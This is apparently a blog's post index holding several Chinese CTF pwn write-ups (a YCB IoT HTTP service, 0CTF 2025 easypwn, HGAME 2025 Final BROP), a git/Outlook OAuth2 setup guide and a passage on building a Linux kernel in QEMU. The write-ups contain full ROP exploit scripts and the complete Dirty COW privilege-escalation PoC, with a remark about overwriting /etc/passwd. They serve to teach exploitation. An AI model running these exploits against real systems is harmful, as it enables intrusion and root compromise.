而且要求输入密码进行验证,\n\n分析登录相关逻辑, 是一个换盒 AES:\n\n注意到 AES 中 sub bytes 操作使用了逆 Sbox, 可认为是解密流程,\n因此我们只需要写一个自定义 Sbox 的 AES ECB 加密脚本.\n\n在 log 中有明显越界读,\n\n\n\n在 work 中存在两种逻辑, 一种是将数据存放在堆区并记录地址,\n另一种是进入一个后门函数.\n\n\n\nstack overflow\n\nExploit\n首先编写一个脚本, 计算出登录密码.\nfrom pwn import u64# ========================================================# 纯 Python 实现 AES-128 加密 (支持自定义 S-box)# ========================================================# 默认 AES S-box,可自行修改实现「换表 AES」S_BOX = [ 0x29, 0x40, 0x57, 0x6e, 0x85, 0x9c, 0xb3, 0xca, 0xe1, 0xf8, 0xf, 0x26, 0x3d, 0x54, 0x6b, 0x82, 0x99, 0xb0, 0xc7, 0xde, 0xf5, 0xc, 0x23, 0x3a, 0x51, 0x68, 0x7f, 0x96, 0xad, 0xc4, 0xdb, 0xf2, 0x9, 0x20, 0x37, 0x4e, 0x65, 0x7c, 0x93, 0xaa, 0xc1, 0xd8, 0xef, 0x6, 0x1d, 0x34, 0x4b, 0x62, 0x79, 0x90, 0xa7, 0xbe, 0xd5, 0xec, 0x3, 0x1a, 0x31, 0x48, 0x5f, 0x76, 0x8d, 0xa4, 0xbb, 0xd2, 0xe9, 0x0, 0x17, 0x2e, 0x45, 0x5c, 0x73, 0x8a, 0xa1, 0xb8, 0xcf, 0xe6, 0xfd, 0x14, 0x2b, 0x42, 0x59, 0x70, 0x87, 0x9e, 0xb5, 0xcc, 0xe3, 0xfa, 0x11, 0x28, 0x3f, 0x56, 0x6d, 0x84, 0x9b, 0xb2, 0xc9, 0xe0, 0xf7, 0xe, 0x25, 0x3c, 0x53, 0x6a, 0x81, 0x98, 0xaf, 0xc6, 0xdd, 0xf4, 0xb, 0x22, 0x39, 0x50, 0x67, 0x7e, 0x95, 0xac, 0xc3, 0xda, 0xf1, 0x8, 0x1f, 0x36, 0x4d, 0x64, 0x7b, 0x92, 0xa9, 0xc0, 0xd7, 0xee, 0x5, 0x1c, 0x33, 0x4a, 0x61, 0x78, 0x8f, 0xa6, 0xbd, 0xd4, 0xeb, 0x2, 0x19, 0x30, 0x47, 0x5e, 0x75, 0x8c, 0xa3, 0xba, 0xd1, 0xe8, 0xff, 0x16, 0x2d, 0x44, 0x5b, 0x72, 0x89, 0xa0, 0xb7, 0xce, 0xe5, 0xfc, 0x13, 0x2a, 0x41, 0x58, 0x6f, 0x86, 0x9d, 0xb4, 0xcb, 0xe2, 0xf9, 0x10, 0x27, 0x3e, 0x55, 0x6c, 0x83, 0x9a, 0xb1, 0xc8, 0xdf, 0xf6, 0xd, 0x24, 0x3b, 0x52, 0x69, 0x80, 0x97, 0xae, 0xc5, 0xdc, 0xf3, 0xa, 0x21, 0x38, 0x4f, 0x66, 0x7d, 0x94, 0xab, 0xc2, 0xd9, 0xf0, 0x7, 0x1e, 0x35, 0x4c, 0x63, 0x7a, 0x91, 0xa8, 0xbf, 0xd6, 0xed, 0x4, 0x1b, 0x32, 0x49, 0x60, 0x77, 0x8e, 0xa5, 0xbc, 0xd3, 0xea, 0x1, 0x18, 0x2f, 0x46, 0x5d, 0x74, 0x8b, 0xa2, 0xb9, 0xd0, 0xe7, 0xfe, 0x15, 0x2c, 0x43, 0x5a, 0x71, 0x88, 0x9f, 0xb6, 0xcd, 0xe4, 0xfb, 0x12,]R_CON = [ 0x00, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1B, 0x36]def sub_bytes(state): return [S_BOX[b] for b in state]def shift_rows(s): return [ s[0], s[5], s[10], s[15], s[4], s[9], s[14], s[3], s[8], s[13], s[2], s[7], s[12], s[1], s[6], s[11] ]def xtime(a): return ((a << 1) ^ 0x1B) & 0xFF if a & 0x80 else (a << 1)def mix_single_column(a): t = a[0] ^ a[1] ^ a[2] ^ a[3] u = a[0] a[0] ^= t ^ xtime(a[0] ^ a[1]) a[1] ^= t ^ xtime(a[1] ^ a[2]) a[2] ^= t ^ xtime(a[2] ^ a[3]) a[3] ^= t ^ xtime(a[3] ^ u) return adef mix_columns(s): for i in range(4): col = s[i * 4:(i + 1) * 4] s[i * 4:(i + 1) * 4] = mix_single_column(col) return sdef add_round_key(s, k): return [a ^ b for a, b in zip(s, k)]def key_expansion(key): key_symbols = list(key) assert len(key_symbols) == 16 expanded = key_symbols[:] for i in range(4, 44): t = expanded[(i - 1) * 4:i * 4] if i % 4 == 0: t = t[1:] + t[:1] t = [S_BOX[b] for b in t] t[0] ^= R_CON[i // 4] for j in range(4): expanded.append(expanded[(i - 4) * 4 + j] ^ t[j]) return expandeddef aes_encrypt_block(block, key): state = list(block) w = key_expansion(key) state = add_round_key(state, w[:16]) for round in range(1, 10): state = sub_bytes(state) state = shift_rows(state) state = mix_columns(state) state = add_round_key(state, w[round * 16:(round + 1) * 16]) state = sub_bytes(state) state = shift_rows(state) state = add_round_key(state, w[160:176]) return bytes(state)# ====== 示例 ======if __name__ == \"__main__\": key = b\"0123456789ABCDEF\" plaintext = input().encode() ciphertext = aes_encrypt_block(plaintext, key).hex() print(\"Plain :\", plaintext) print(f'Ciphertext : {ciphertext}') # print(\"Cipher:\", hex(u64(ciphertext[:8])), hex(u64(ciphertext[8:])))\n通过 log 泄漏 libc 地址.\n然后 ROP 链执行 cat /flag > work.html, 再使用 GET 获取.\nfrom pwn import *from decrypt_script import aes_encrypt_blockimport requestsimport recontext.terminal = ['konsole', '-e', 'sh', '-c']context(arch = 'amd64',os = 'linux',log_level = 'debug')HTTP_URL = \"http://127.0.0.1:9999\"LIBC = './libc-2.31.so'response = requests.get(f\"{HTTP_URL}/login.html\")block = re.search(r'<strong>([a-z]+)</strong>', response.text).group(1)log.info(f\"key: {block}\")cipher = aes_encrypt_block(block.encode(), b\"0123456789ABCDEF\").hex()log.info(f\"ciphertext: {cipher}\")response = requests.post(f'{HTTP_URL}/login', data=f'ciphertext={cipher}')assert response.status_code == 200# response = requests.get(f'{HTTP_URL}/work.html')# success(f'Flag is: {response.text}')# sys.exit(0)response = requests.post(f'{HTTP_URL}/log', data='index=-167')assert response.status_code == 200addr = re.search(r'<pre>(0x[a-f0-9]+)</pre>', response.text).group(1)addr = int(addr, 16)libc= ELF(LIBC)libc_base = addr - libc.symbols['atoi']libc.address = libc_baselog.info(f\"libc base: {hex(libc_base)}\")cmd = 'cat /flag > work.html;'response = requests.post(f'{HTTP_URL}/work', data=f'data={cmd}\\r\\n')print(response.text)match = re.search(r'Total=(\\d+)', response.text).group(1)assert matchslot = int(match) - 1log.info(f\"slot: {slot}\")response = requests.post(f'{HTTP_URL}/log', data='index={slot}')assert response.status_code == 200cmd_addr = re.search(r'0x[a-f0-9]+', response.text).group(0)cmd_addr = int(cmd_addr, 16)log.info(f\"cmd addr: {hex(cmd_addr)}\")gadgets = ROP(libc)chain = flat(gadgets.rdi.address, cmd_addr, gadgets.ret.address, # balance stack libc.symbols['system'], gadgets.rdi.address, 0, libc.symbols['exit'])IP= \"127.0.0.1\"PORT = 9999t = remote(IP, PORT)payload = b'data=' + pack(0, 0x48 * 8) + chain + b'YCB2025\\n\\n'body = f'''POST /work HTTP/1.0\\rHost: {IP}:{PORT}\\rContent-Length: {len(payload)}\\r\\r'''.encode()t.send(body + payload)t.close()\n\n\nReferences\n\nhttps://rocketma.dev/2025/10/13/hello_iot/\n\n","categories":["CTF"],"tags":["pwn","http","AES"]},{"title":"git send-email 配置 Outlook 邮箱","url":"/categories/%E6%97%A5%E5%B8%B8/git-outlook/","content":"git send-email\n当我们想发送一个 patch 时, 一般会使用 git send-email,\n可以方便地把邮件发送给开发者.\n\nHow to use\n如果你使用的是 Gmail, 那么随便在上网找一篇文章跟着配置即可:\ngit config --global sendemail.smtpencryption tlsgit config --global sendemail.smtpserver smtp.gmail.comgit config --global sendemail.smtpuser your-email@gmail.comgit config --global sendemail.smtppass \"your-application-specific-password\"\n与此同时, 另外一边\n借助 SMTP, 我们可以很容易通过 git send-email 直接发送邮件.\n然而 Microsoft Outlook 为了安全性, 使用了更现代的 OAuth2 方法\n\n然而, git 显然不支持这样的验证方式.\n所以如果没有必须使用 Outlook 的需求或者某种强迫症,\n请使用 Gmail.\n配置 msmtp\n为了使用 Outlook 的 SMTP, 我们先使用一个支持 OAuth2 的 SMTP Client:\nmsmtp.\n修改~/.msmtprc:\n# Default settingsdefaultsauth ontls ontls_trust_file /etc/ssl/certs/ca-certificates.crtlogfile ~/.msmtp.log# Outlook account with OAuth2account outlookhost smtp.office365.comport 587auth xoauth2from example@outlook.comuser example@outlook.compasswordeval \"\"# Set default accountaccount default : outlook\nOAuth2\n作为已经吃过 Microsoft ADFS 这坨的人来说,\n看见 OAuth2 还是有点莫名其妙的 ptsd :(\nAuthorization Grant\n目前常见的 OAuth2 授权方式, 一般都是 Authorization Code. 简单地说,\n我们会向负责 OAuth 认证的 Endpoint 发起请求.\n这个请求 (Header/Body) 中包含下列的参数:\nresponse_type REQUIRED. Value MUST be set to \"code\". client_id REQUIRED. The client identifier as described in Section 2.2. redirect_uri OPTIONAL. As described in Section 3.1.2. scope OPTIONAL. The scope of the access request as described by Section 3.3. state RECOMMENDED. An opaque value used by the client to maintain state between the request and callback. The authorization server includes this value when redirecting the user-agent back to the client. The parameter SHOULD be used for preventing cross-site request forgery as described in Section 10.12.\n然后, 我们会在这个熟悉的界面完成认证过程\n\n登录完成后, 浏览器会被重定向到 redirect_uri,\nURL 中包含一个 code, 其有效期一般为 10 分钟.\nAccess Token\n\nAccess tokens are credentials used to access protected resources.\n\n有了上面的 code, 我们就可以去请求 Token endpoint,\n获取访问 SMTP 所需的 Access Token 了.\ngrant_type REQUIRED. Value MUST be set to \"authorization_code\".code REQUIRED. The authorization code received from the authorization server.redirect_uri REQUIRED, if the \"redirect_uri\" parameter was included in the authorization request as described in Section 4.1.1, and their values MUST be identical.client_id REQUIRED, if the client is not authenticating with the authorization server as described in Section 3.2.1.\nRefresh Token\n一切顺利的话, 我们会得到 Access Token, 以及一个长期有效的 Refresh\nToken:\nAn example successful response: HTTP/1.1 200 OK Content-Type: application/json;charset=UTF-8 Cache-Control: no-store Pragma: no-cache { \"access_token\":\"2YotnFZFEjr1zCsicMWpAA\", \"token_type\":\"example\", \"expires_in\":3600, \"refresh_token\":\"tGzv3JOkF0XG5Qx2TlKWIA\", \"example_parameter\":\"example_value\" }\n使用 Refresh Token, 我们就可以长时间地维持认证状态,\n并在需要时获取 Access Token 了.\ngrant_type REQUIRED. Value MUST be set to \"refresh_token\".refresh_token REQUIRED. The refresh token issued to the client.scope OPTIONAL. The scope of the access request as described by Section 3.3. The requested scope MUST NOT include any scope not originally granted by the resource owner, and if omitted is treated as equal to the scope originally granted by the resource owner.\n可选地, 服务器可能会返回一个新的 Refresh Token.\n配置 Oauth2\n听起来挺麻烦的, 幸运的是我们有开源脚本: https://github.com/UvA-FNWI/M365-IMAP\n在上方的 msmtp 配置中填入:\npasswordeval \"cd path/to/repo && python3 refresh_token.py\"\n首次运行时, 手动运行一遍 get_token.py 即可.\n发送 E-mail\n接下来 git 就可以专心完成他的工作了\nsendemail.smtpserver=/usr/bin/msmtpsendemail.smtpserverport=587sendemail.smtpencryption=tlssendemail.smtpuser=example@outlook.com\nReferences\n\nhttps://datatracker.ietf.org/doc/html/rfc6749\n\n","categories":["日常"],"tags":["OAuth","git"]},{"title":"0CTF 2025 Writeup","url":"/categories/CTF/0ctf2025/","content":"赛时做了一题, 总觉得自己越来越没有心力和时间投入 CTF 了...\n\neasypwn\nchecksec\n\n\n为了提高可读性, 在 IDA 中修改了一些变量和函数名.\n根据程序逻辑, 或者观察输入输出可以发现这是一个大数计算器, 支持\n+ - * / ( ) 和十进制数字的输入.\n程序有一个操作是将栈指针放入堆中\n\n且有对其的自增、自减操作:\n\n很遗憾这里限制在了 DWORD, 所以并没有实际的栈溢出问题,\n不过存在整数的上溢和下溢.\n一开始我并没有找到可利用的漏洞点, 不过由于本题的输入非常结构化,\n我们可以考虑对其 fuzzing.\n大约 20 分钟后, 确实找到了一些可引起 crash 的输入:\n\n使用 casr-cli, 得到了一些有趣的分析结果:\n\n着重对 ReturnAv 的 case 进行分析.\n先将这几组输入在 gdb 中复现一遍,\n发现程序出现了返回地址非法引起的段错误\n\nVulnerabilities\n调试发现,\n这是由于在 main 中程序尝试将计算结果写回到栈中时,\n对指针的自增操作缺乏边界检查, 导致了栈溢出:\n \nExploit\n接下来的工作就是如何找到哪个输入影响到了返回地址,\n已知如下的输入可以产生溢出\n1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111/*/1/*//1111111111\n\n观察到这里只有 * 和 /,\n我们猜测程序进行了乘除相关的运算. 为了方便验证,\n可以把上面的大数换成相近的以 2 为底的指数.\n1119872371088902105278721140284222139060822748617324767449994550481895935590080472690438746635803557888/*/1/*//1073741824\n\n很明显这里的地址部分位也变得 2^n 对齐了,\n接下来尝试增大第一个大数的位数.\n2582249878086908589655919172003011874329705792829223512830659356540647622016841194629645353280137831435903171972747493376/*/1/*//1073741824\n\n注意到第一个大数增大后, 溢出修改到的位置也更高了,\n并且直接由我们的输入决定. 所以, 我们只需要找到溢出是从哪一位开始的.\n例如, 令第一个大数为这样的随机十六进制数:\n0x1beacaaeaaeebaecfecdccddfdfebbfecabaeaccfeadafcbabfaccfeaeafaadbabcfeacdfbaaaacdfbaebfbcaadfccbaaebab\n从而得到输入:\n4505566911037959143315498166383803793144684411847119861693784392667451435154625739231718365669889945682659227170528488363/*/1/*//1073741824\n\n这样就确认了溢出是从哪里开始的.\n\n同时也观察到高位被写入到了返回地址的后面,\n也就是我们得到了进行栈溢出执行 ROP 的方法.\nfrom pwn import *context.terminal = ['konsole', '-e', 'sh', '-c']context(arch = 'amd64',os = 'linux',log_level = 'debug')p = process(\"./pwn\")DEBUG = 'p' in sys.argvif DEBUG: gdb.attach(p)libc = ELF(\"./libc.so.6\")elf = ELF(\"./pwn\")print_plt=elf.plt['__printf_chk']print_got=elf.got['__printf_chk']plt = hex(print_plt)[2:].rjust(16,'0')got = hex(print_got)[2:].rjust(16,'0')pop_rdi_ret = \"00000000004026b1\"pop_rsi_ret = \"0000000000402818\"main_start = \"00000000004012f0\"ret = \"000000000040101a\"bin_sh = 0x00000000001cb42f#main_start + ret + plt + got + pop rsi + 2 + pop rdi + ret + paddingpadding = \"afecbbafdbfbafeaaabcfcccedabdbbececbaecfcfcbeaaaeeedbbabafeecaabbcaffcbdeabaaaac\"string = \"0x1\" + main_start + ret + plt + got + pop_rsi_ret + \"0000000000000002\" + pop_rdi_ret + ret + paddingprint(string)payload = str(int(string,16)) + '/*/1/*//' + str(16**8)print(payload)p.sendline(payload)p.recvline()recv = p.recvuntil(b'>')printf_off = u64(recv[:-1].ljust(8,b'\\0'))print(hex(printf_off))libc_base = printf_off-libc.sym['__printf_chk']print(hex(libc_base))#system + bin_sh + pop_rdi + ret + paddingbin_sh = hex(bin_sh + libc_base)[2:].rjust(16,'0')sys=hex(libc_base + libc.sym['system'])[2:].rjust(16,'0')string = \"0x1\" + sys + bin_sh + pop_rdi_ret + ret + paddingpayload = str(int(string,16)) + '/*/1/*//' + str(16**8)print(payload)p.sendline(payload)p.interactive()\n","categories":["CTF"],"tags":["pwn","fuzz","debug"]},{"title":"HGAME 2025 Final 复现","url":"/categories/CTF/hgame-2025-final/","content":"Backto2016\n\n但你必须先向我们证明自己有回到 2016 的实力!\n祝你玩的开心 o ( ̄▽ ̄) ブ\n没有附件是正常的喵\n这个分数或许也考虑了买 hint 这件事, 别害怕嘻嘻\n\n这道题是没有给出附件的,我们需要根据输入和程序的输出获取一切信息。\n\n\nVulnerabilities\n随便输入一些字符会发现,程序存在栈溢出漏洞,出题人很友好地提供了程序崩溃的更多信息(***\nstack smashing detected ***: terminated)\n存在 Canary 保护。\n\n注意到在交互进程结束后,会保持连接,返回一个 PID+1 的新进程,这提示我们程序使用 fork() 实现功能。\n\n\n赛后放出的源码\n\n因此,子进程的 Canary 值不会改变。\nExploit\n从题目的提示可以知道,其实这是类似于 HCTF2016 brop1 的一道题目。\n运用的攻击方法叫做 Blind Return Oriented Programming (BROP)2。\nBROP 的主要流程:\n\n绕过 Canary 和 PIE 的保护;\n 寻找 \"stop gadget\";\n 寻找控制寄存器的 gadget;\ndump memory to get the binary\n 获得 libc base,然后 get shell\n\nCanary bypass\nBROP 首先需要我们绕过 Canary:\n\n\nStack reading. A single byte on the stack\nis overwritten with guess X. If the service crashes, the wrong value was\nguessed.\n\nStop gadget\nStop gadget 指的是可以将程序挂起的一段 gadget。\n为什么需要 Stop gadget? 如果我们将 Return\naddress 覆盖成随机的数据,那么很大概率会引发段错误。而 Stop\ngadget 能让程序保持正常运行,在寻找其他 gadget 时起到了区分作用。\n\n\nstop gadget is useful!\n\n当我们成功找到了一个 gadget,$rsp 进入寄存器,程序进入 $rsp+8<stop_gadget>。\n如果还未找到这个 gadget,程序会直接发生段错误。这个作用在下一节会更具体地体现。\nCommon gadget\n在 Ubuntu\n14.04 中,我们有一个很好的函数__libc_csu_init(),里面存在控制传参寄存器的 gadget,具体请参考通用\ngadget。\n0x000000000040082a <+90>: 5b pop rbx0x000000000040082b <+91>: 5d pop rbp0x000000000040082c <+92>: 41 5c pop r120x000000000040082e <+94>: 41 5d pop r130x0000000000400830 <+96>: 41 5e pop r140x0000000000400832 <+98>: 41 5f pop r150x0000000000400834 <+100>: c3 ret\n所以,我们可以这样布置栈数据:\npayload = flat({ offset: [ canary, p64(1), p64(pop_gadget), p64(0)*6, p64(stop_gadget) ] })\n但是还存在一个小问题,如果遍历时 pop_gadget 恰好是另一个 stop\ngadget,程序也不会发生段错误,和执行到真正的 gadget 处结果一样。\n因此,我们还需要进一步验证,它是否我们需要的。\n在这道题中,我找到的 stop gadget 会输出一些固定字符:\nif ( b\"killed by\" not in resp): payload = flat({ offset: [ canary, p64(1), p64(pop_gadget) ] }) p.sendafter(\"password\",payload) resp = p.recv() resp = p.recv() log.success(f\"stop_gadget[{i}] = {hex(stop_gadget)}\") log.success(f\"pop_gadget[{i}] = {hex(pop_gadget)}\") choose = input(\"Continue?\") if(choose==\"y\" or choose==\"Y\"):continue break\n观察回显,如果没有输出,那么这大概率是正确的。当然在后续过程中我们可以更确定这个 gadget 是不是真的。\nDump memory\n得到需要的 gadget,就可以开始 dump memory 了。\n为了找到 write() 的 plt 地址,可以将 $rdi 赋值 0x400000,即 write(0x400000),如果地址正确,我们会得到 ELF 头几个固定字符:\\x7fELF\nwhile True: put_addr += 1 payload = flat({ offset: [ canary, p64(1), p64(pop_gadget), p64(0x400000),#pop rdi p64(put_addr), p64(stop_gadget) ] }) p.sendafter(\"password\",payload) try: resp = p.recv() resp = p.recv() if ( b\"\\x7fELF\" in resp): log.success(f\"put found[{i}] = {hex(put_addr)}\") choose = input(\"Continue?\") if(choose==\"y\" or choose==\"Y\"):continue break except: pass\n\n回顾 plt 表的知识,我们知道,已经调用过的函数地址会被保存在.got 段中。\nGet shell\n后续过程就比较简单了,写 ROP 链即可。\nstop_gadget=0x400700pop_gadget=0x400b2a+0x9put_addr = 0x400715got_addr = 0x602018payload = flat({ offset: [ canary, p64(1), p64(pop_gadget), p64(got_addr),#pop rdi p64(put_addr), ]})p.sendafter(\"password:\\n\",payload)put_addr = u64(p.recv(6).ljust(8, b'\\x00'))log.success(hex(put_addr))libc_base = put_addr - libc.sym[\"puts\"]log.success(hex(libc_base))sys_addr = libc_base + libc.sym[\"system\"]binsh_addr = libc_base +next(libc.search(b\"/bin/sh\"))pause()payload = flat({ offset: [ canary, p64(1), p64(pop_gadget), p64(binsh_addr),#pop rdi p64(sys_addr), ]})p.sendafter(\"password:\",payload)p.interactive()\nBackto2016(2)\n这题赛时并没有做出来(而且靶机跑的很慢,爆破不动),后面看了 wp 了解到这是一个 kernel\nvulnerability。\nCopy On Write3\n\nCopy-on-write (COW), also called\nimplicit sharingor shadowing,is a resource-management\ntechnique used in programming\nto manage shared data efficiently. Instead of copying data right away\nwhen multiple programs use it, the same data is shared between programs\nuntil one tries to modify it. If no changes are made, no private copy is\ncreated, saving resources.\nA copy is only made when needed, ensuring each program has its own\nversion when modifications occur. This technique is commonly applied to\nmemory, files, and data structures.\n\n例如 fork() 创建子进程时,为了节省内存空间和时间开销,使用了写时复制的策略。\n\n\nTake a lot space and time\n\n\n\nCopy-on-write\n\nDirty-cow4\n通过 mmap() 映射文件到内存,利用写时复制,\nwrite 和 madvise() 导致的条件竞争漏洞。\n下面是它的一个 POC,可参见:https://github.com/dirtycow/dirtycow.github.io\n/*####################### dirtyc0w.c #######################$ sudo -s# echo this is not a test > foo# chmod 0404 foo$ ls -lah foo-r-----r-- 1 root root 19 Oct 20 15:23 foo$ cat foothis is not a test$ gcc -pthread dirtyc0w.c -o dirtyc0w$ ./dirtyc0w foo m00000000000000000mmap 56123000madvise 0procselfmem 1800000000$ cat foom00000000000000000####################### dirtyc0w.c #######################*/#include <stdio.h>#include <sys/mman.h>#include <fcntl.h>#include <pthread.h>#include <unistd.h>#include <sys/stat.h>#include <string.h>#include <stdint.h>void *map;int f;struct stat st;char *name; void *madviseThread(void *arg){ char *str; str=(char*)arg; int i,c=0; for(i=0;i<100000000;i++) {/*You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661> This is achieved by racing the madvise(MADV_DONTNEED) system call> while having the page of the executable mmapped in memory.*/ c+=madvise(map,100,MADV_DONTNEED); } printf(\"madvise %d\\n\\n\",c);} void *procselfmemThread(void *arg){ char *str; str=(char*)arg;/*You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16> The in the wild exploit we are aware of doesn't work on Red Hat> Enterprise Linux 5 and 6 out of the box because on one side of> the race it writes to /proc/self/mem, but /proc/self/mem is not> writable on Red Hat Enterprise Linux 5 and 6.*/ int f=open(\"/proc/self/mem\",O_RDWR); int i,c=0; for(i=0;i<100000000;i++) {/*You have to reset the file pointer to the memory position.*/ lseek(f,(uintptr_t) map,SEEK_SET); c+=write(f,str,strlen(str)); } printf(\"procselfmem %d\\n\\n\", c);} int main(int argc,char *argv[]){/*You have to pass two arguments. File and Contents.*/ if (argc<3) { (void)fprintf(stderr, \"%s\\n\", \"usage: dirtyc0w target_file new_content\"); return 1; } pthread_t pth1,pth2;/*You have to open the file in read only mode.*/ f=open(argv[1],O_RDONLY); fstat(f,&st); name=argv[1];/*You have to use MAP_PRIVATE for copy-on-write mapping.> Create a private copy-on-write mapping. Updates to the> mapping are not visible to other processes mapping the same> file, and are not carried through to the underlying file. It> is unspecified whether changes made to the file after the> mmap() call are visible in the mapped region.*//*You have to open with PROT_READ.*/ map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0); printf(\"mmap %zx\\n\\n\",(uintptr_t) map);/*You have to do it on two threads.*/ pthread_create(&pth1,NULL,madviseThread,argv[1]); pthread_create(&pth2,NULL,procselfmemThread,argv[2]);/*You have to wait for the threads to finish.*/ pthread_join(pth1,NULL); pthread_join(pth2,NULL); return 0;}\n以~/foo 为例,这是一个只读文件:\n\n\n运行 dirtycow:\n\n结果如下:\n\n同理,如果我们修改 /etc/passwd,就可以实现提权。\nReferences\n\n\n\npwn_hctf2016_brop.md↩︎\nbittau-brop.pdf↩︎\nCopy-on-write↩︎\nDirty\nCOW↩︎\n\n\n","categories":["CTF"],"tags":["pwn","hgame","kernel","blind pwn"]},{"title":"Linux Kernel: build, boot and debug in QEMU","url":"/categories/Study/kernel-build/","content":"一次内核编译到运行的尝试\n编译内核\n拉取源码\n$ git clone git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git\n\n调整配置\n为了让 gdb 可以调试内核并加载符号, 需要更改一些编译选项.\n$ make menuconfigKernel hacking ---> [*] Kernel debugging Compile-time checks and compiler options ---> Debug information (Rely on the toolchain's implicit default DWARF version) [*] Provide GDB scripts for kernel debugging\n编译\n$ make -j$(nproc)$ make bzImage\n内核启动流程\n我们并不需要弄清楚启动过程的所有细节,\n这里只简略介绍以便于解释后文的操作\nKernel Initialization\n这个阶段内核会将映像自解压到内存中, 并且进行硬件相关的初始化,\n设置中断处理 (interrupt handling)、内存管理 (memory management),\n挂载根文件系统 (/) 或者初始 RAM 磁盘 (initrd), 加载驱动.\nInit process\n内核初始化后, 就会准备我们所熟悉的用户空间 (Userspace) 的初始化.\n事实上内核会执行 /sbin/init, /etc/init 或\ninitramfs/initrd 中指定的第一个用户空间程序 (通常是 Systemd、SysVinit 或\nOpenRC), 作为用户空间中的第一个进程 (PID=1),\n当然它可以是任何可执行的文件, 包括 shell script.\n使用 QEMU 运行内核\n构建 rootfs\n根文件系统遵循 https://en.wikipedia.org/wiki/Filesystem_Hierarchy_Standard,\n这里使用 Arch Linux 的 pacstrap 来构建一个较简单的 rootfs:\n#!/bin/bashset -eROOTFS_DIR=\"test_kernel/arch_full_rootfs\"if [ -d \"$ROOTFS_DIR\" ]; then sudo rm -rf \"$ROOTFS_DIR\"fimkdir -p \"$ROOTFS_DIR\"sudo pacstrap -K -c \"$ROOTFS_DIR\" \\ base \\ linux-firmware \\ bash \\ coreutils \\ util-linux \\ procps-ng \\ iproute2 \\ iputils \\ net-tools \\ vim \\ nano \\ less \\ grep \\ sed \\ gawk \\ tar \\ gzip \\ which \\ man-db \\ man-pagessudo arch-chroot \"$ROOTFS_DIR\" passwd -d rootsudo tee \"$ROOTFS_DIR/init\" > /dev/null << 'EOF'#!/bin/bashmount -t proc proc /procmount -t sysfs sys /sysmount -t devtmpfs dev /devmount -t tmpfs tmp /tmpmkdir -p /dev/pts /dev/shmmount -t devpts devpts /dev/ptsmount -t tmpfs shm /dev/shmexport PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binexport HOME=/rootexport TERM=linuxif [ -x /usr/lib/systemd/systemd-udevd ]; then /usr/lib/systemd/systemd-udevd --daemon 2>/dev/null udevadm trigger --action=add 2>/dev/null udevadm settle 2>/dev/nullficlearexec /bin/bash --loginEOFsudo chmod +x \"$ROOTFS_DIR/init\"sudo mkdir -p \"$ROOTFS_DIR\"/{dev,proc,sys,run,tmp}\n然后使用如下脚本将其打包为 ext4 image:\n#!/bin/bashset -eROOTFS_DIR=\"test_kernel/arch_full_rootfs\"IMAGE_FILE=\"test_kernel/arch_full.ext4\"IMAGE_SIZE=\"4G\" if [ ! -d \"$ROOTFS_DIR\" ]; then exit 1fiif [ -f \"$IMAGE_FILE\" ]; then rm -f \"$IMAGE_FILE\"fidd if=/dev/zero of=\"$IMAGE_FILE\" bs=1M count=0 seek=$(echo $IMAGE_SIZE | sed 's/G/*1024/;s/M//;' | bc) status=progressmkfs.ext4 -F -L \"arch-rootfs\" \"$IMAGE_FILE\"MOUNT_POINT=$(mktemp -d)sudo mount -o loop \"$IMAGE_FILE\" \"$MOUNT_POINT\"sudo cp -a \"$ROOTFS_DIR/\"* \"$MOUNT_POINT/\"syncsudo umount \"$MOUNT_POINT\"rmdir \"$MOUNT_POINT\"sudo chown $USER:$USER \"$IMAGE_FILE\"\n我们尝试使用如下参数运行 QEMU\n$ KERNEL=\"arch/x86/boot/bzImage\"$ ROOTFS=\"test_kernel/arch_full.ext4\"$ qemu-system-x86_64 \\ -kernel \"$KERNEL\" \\ -drive file=\"$ROOTFS\",format=raw,if=virtio \\ -m 4G \\ -smp 4 \\ -append \"console=ttyS0\" \\ -nographic\n预期下, 会产生 Kernel panic:\n[ 1.983880] /dev/root: Can't open blockdev[ 1.987750] List of all bdev filesystems:[ 1.987876] fuseblk[ 1.987891] [ 1.988146] Kernel panic - not syncing: VFS: Unable to mount root fs on unknown-block(0,0)[ 1.988715] CPU: 1 UID: 0 PID: 1 Comm: swapper/0 Not tainted 6.18.0-rc3 #5 PREEMPT(voluntary) 2b0b48d497e5105aac88eb0a7903527369b0379b[ 1.989240] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Arch Linux 1.17.0-2-2 04/01/2014[ 1.989766] Call Trace:[ 1.989950] <TASK>[ 1.990291] dump_stack_lvl+0x5d/0x80[ 1.990581] vpanic+0xdb/0x2d0[ 1.990658] panic+0x6b/0x6b[ 1.990732] mount_root_generic+0x1cf/0x270[ 1.990903] prepare_namespace+0x1dc/0x230[ 1.991032] kernel_init_freeable+0x282/0x2b0[ 1.991163] ? __pfx_kernel_init+0x10/0x10[ 1.991305] kernel_init+0x1a/0x140[ 1.991398] ret_from_fork+0x1c2/0x1f0[ 1.991483] ? __pfx_kernel_init+0x10/0x10[ 1.991592] ret_from_fork_asm+0x1a/0x30[ 1.991723] </TASK>[ 1.993053] Kernel Offset: disabled[ 1.993394] ---[ end Kernel panic - not syncing: VFS: Unable to mount root fs on unknown-block(0,0) ]---\n这是因为 ext4 相关的功能编译为了内核模块, 而且并没有加载进内核.\n借助 initramfs, 我们可以先在其中加载 ext4 相关模块,\n然后再挂载真正的根文件系统.\n构建 initramfs\n使用如下脚本构建一个实验性的 initramfs:\n#!/bin/bashset -eINITRAMFS_DIR=\"test_kernel/initramfs\"INITRAMFS_FILE=\"test_kernel/initramfs.cpio.gz\"KERNEL_VERSION=$(make kernelrelease 2>/dev/null)if [ -d \"$INITRAMFS_DIR\" ]; then rm -rf \"$INITRAMFS_DIR\"fimkdir -p \"$INITRAMFS_DIR\"/{bin,sbin,etc,proc,sys,dev,newroot,lib/modules}cp /bin/busybox \"$INITRAMFS_DIR/bin/\"chmod +x \"$INITRAMFS_DIR/bin/busybox\"cd \"$INITRAMFS_DIR/bin\"for cmd in sh mount umount mkdir mknod switch_root insmod modprobe cat echo sleep ls; do ln -sf busybox $cmddonecd - > 